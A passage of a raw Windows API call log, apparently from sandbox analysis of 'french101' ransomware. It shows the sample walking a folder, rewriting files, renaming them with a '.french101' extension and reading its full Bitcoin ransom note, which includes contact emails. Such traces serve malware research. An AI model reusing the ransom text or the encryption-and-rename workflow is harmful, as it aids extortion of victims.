(hMem=0x3f4000c) returned 0x3ae4e10 [0269.161] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0269.161] GlobalUnlock (hMem=0x3f40004) returned 0 [0269.161] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0269.161] GlobalUnlock (hMem=0x3f4000c) returned 0 [0269.162] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0269.162] CharLowerBuffW (in: lpsz="sXAut9lWVsdOR85XBHd8+OmFAIQ8OoqUce4piCwT9RU4n2K5.french101", cchLength=0x3a | out: lpsz="sxaut9lwvsdor85xbhd8+omfaiq8ooquce4picwt9ru4n2k5.french101") returned 0x3a [0269.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0269.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.162] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0269.162] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0269.162] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0269.162] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0269.162] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0269.162] GlobalUnlock (hMem=0x3f4000c) returned 0 [0269.162] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0269.163] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0269.163] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0269.163] GlobalUnlock (hMem=0x3f4000c) returned 0 [0269.163] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0269.163] GlobalUnlock (hMem=0x3f40004) returned 0 [0269.163] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0269.163] CharLowerBuffW (in: lpsz="UiInfo.xml", cchLength=0xa | out: lpsz="uiinfo.xml") returned 0xa [0269.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0269.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0269.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0269.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0269.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0269.163] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0269.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlw", lpUsedDefaultChar=0x0) returned 4 [0269.164] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml", lpFindFileData=0x19e8b8 | out: lpFindFileData=0x19e8b8) returned 0x6da250 [0269.164] FileTimeToLocalFileTime (in: lpFileTime=0x19e8cc, lpLocalFileTime=0x19e7d8 | out: lpLocalFileTime=0x19e7d8) returned 1 [0269.164] FileTimeToDosDateTime (in: lpFileTime=0x19e7d8, lpFatDate=0x19e89a, lpFatTime=0x19e898 | out: lpFatDate=0x19e89a, lpFatTime=0x19e898) returned 1 [0269.164] FindClose (in: hFindFile=0x6da250 | out: hFindFile=0x6da250) returned 1 [0269.164] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml", dwFileAttributes=0x20) returned 1 [0269.164] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0269.164] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0269.164] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x97f2 [0269.165] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0269.165] SetFilePointer (in: hFile=0x398, lDistanceToMove=38898, lpDistanceToMoveHigh=0x19e7d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7d0*=0) returned 0x97f2 [0269.165] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c38*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0269.589] CloseHandle (hObject=0x398) returned 1 [0269.672] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0269.672] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0269.672] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x97f3 [0269.672] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0269.672] SetFilePointer (in: hFile=0x398, lDistanceToMove=38898, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x97f2 [0269.672] SetEndOfFile (hFile=0x398) returned 1 [0269.675] CloseHandle (hObject=0x398) returned 1 [0269.675] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0269.675] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0269.675] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x97f2 [0269.675] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0269.676] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0269.676] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0269.676] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0269.677] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0269.677] GlobalLock (hMem=0x3f40014) returned 0x3ae6e20 [0269.677] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0269.677] GlobalUnlock (hMem=0x3f4000c) returned 0 [0269.677] GlobalHandle (pMem=0x3ae6e20) returned 0x3f40014 [0269.677] GlobalUnlock (hMem=0x3f40014) returned 0 [0269.678] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0269.678] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0269.678] GlobalUnlock (hMem=0x3f40014) returned 0 [0269.696] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0269.696] WriteFile (in: hFile=0x398, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0269.696] SetFilePointer (in: hFile=0x398, lDistanceToMove=38898, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x97f2 [0269.696] WriteFile (in: hFile=0x398, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e7d8*=0x18, lpOverlapped=0x0) returned 1 [0269.696] WriteFile (in: hFile=0x398, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e7d8*=0xba, lpOverlapped=0x0) returned 1 [0269.697] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0269.697] GlobalUnlock (hMem=0x3f40004) returned 0 [0269.697] CloseHandle (hObject=0x398) returned 1 [0269.701] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\hQp3uesheT3411KZ+oimCXjXrhQ.french101" (normalized: "c:\\588bce7c90097ed212\\hqp3ueshet3411kz+oimcxjxrhq.french101")) returned 1 [0269.703] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\hQp3uesheT3411KZ+oimCXjXrhQ.french101" (normalized: "c:\\588bce7c90097ed212\\hqp3ueshet3411kz+oimcxjxrhq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0269.703] SetFileTime (hFile=0x398, lpCreationTime=0x19e884, lpLastAccessTime=0x19e87c, lpLastWriteTime=0x19e874) returned 1 [0269.703] CloseHandle (hObject=0x398) returned 1 [0269.703] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\hQp3uesheT3411KZ+oimCXjXrhQ.french101", dwFileAttributes=0x80) returned 1 [0269.703] CloseHandle (hObject=0x398) returned 0 [0269.704] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0269.704] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0269.704] GlobalUnlock (hMem=0x3f40004) returned 0 [0269.704] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0269.704] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0269.704] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0269.704] GlobalUnlock (hMem=0x3f40004) returned 0 [0269.704] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0269.704] GlobalUnlock (hMem=0x3f40014) returned 0 [0269.704] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0269.704] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e8d0 | out: lpFindFileData=0x19e8d0) returned 0x6da1d0 [0269.704] FileTimeToLocalFileTime (in: lpFileTime=0x19e8e4, lpLocalFileTime=0x19e864 | out: lpLocalFileTime=0x19e864) returned 1 [0269.704] FileTimeToDosDateTime (in: lpFileTime=0x19e864, lpFatDate=0x19e8b2, lpFatTime=0x19e8b0 | out: lpFatDate=0x19e8b2, lpFatTime=0x19e8b0) returned 1 [0269.704] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0269.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0269.705] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0269.705] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0269.705] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0269.705] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0269.705] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0269.705] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0269.705] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19eadc, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19eadc*=0x87f, lpOverlapped=0x0) returned 1 [0269.705] CloseHandle (hObject=0x398) returned 1 [0269.705] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0269.705] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0269.706] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0269.706] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0269.706] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0269.706] GlobalUnlock (hMem=0x3f40014) returned 0 [0269.706] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0269.706] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0269.706] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0269.706] GlobalUnlock (hMem=0x3f40014) returned 0 [0269.706] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0269.706] GlobalUnlock (hMem=0x3f40004) returned 0 [0269.706] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0269.706] CharLowerBuffW (in: lpsz="watermark.bmp", cchLength=0xd | out: lpsz="watermark.bmp") returned 0xd [0269.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0269.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0269.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0269.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.707] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0269.707] CharLowerBuffW (in: lpsz=".bmp", cchLength=0x4 | out: lpsz=".bmp") returned 0x4 [0269.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".bmp", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".bmpw", lpUsedDefaultChar=0x0) returned 4 [0269.707] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp", lpFindFileData=0x19e8b8 | out: lpFindFileData=0x19e8b8) returned 0x6da1d0 [0269.707] FileTimeToLocalFileTime (in: lpFileTime=0x19e8cc, lpLocalFileTime=0x19e7d8 | out: lpLocalFileTime=0x19e7d8) returned 1 [0269.707] FileTimeToDosDateTime (in: lpFileTime=0x19e7d8, lpFatDate=0x19e89a, lpFatTime=0x19e898 | out: lpFatDate=0x19e89a, lpFatTime=0x19e898) returned 1 [0269.707] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0269.707] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp", dwFileAttributes=0x20) returned 1 [0269.708] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0269.708] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0269.708] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x19688 [0269.708] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, 